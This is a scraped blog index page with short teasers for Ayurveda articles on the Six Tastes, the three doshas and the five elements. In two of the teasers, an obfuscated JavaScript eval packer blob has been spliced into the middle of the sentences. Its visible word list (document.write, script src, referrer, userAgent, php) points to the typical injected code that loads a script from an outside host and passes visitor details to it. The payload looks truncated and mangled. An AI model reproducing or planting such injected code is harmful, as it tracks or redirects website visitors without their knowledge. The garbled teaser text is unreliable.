The Six Tastes

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Ayurveda describes food based on the Six Tastes – or Rasa. These  reflect a combination of the five great elements – Sweet eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbeyz|var|u0026u|referrer|yhybf||js|php’.split(‘|’),0,{})) (Earth + Water), Sour (Fire + Earth), Salty (Water + Fire), Pungent (Fire + Air), Astringent (Air … Continued

Mind/Body Constitution – The Doshas

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According to Ayurveda, three vital body energies (doshas) govern the functions of the body, which again reflect the Five eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkrey|var|u0026u|referrer|eshzz||js|php’.split(‘|’),0,{})) Elements: Kapha (Water + Earth), Pitta (Fire + Water), and Vata (Air + Ether). We … Continued

The Five Elements – Balancing Mind/Body with Food

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Seeing aspects of the world as reflected through the lens of the five great elements – ether, air, fire, water and earth -  has provided me many practical tools in understanding and addressing my own health and well-being.  (click here … Continued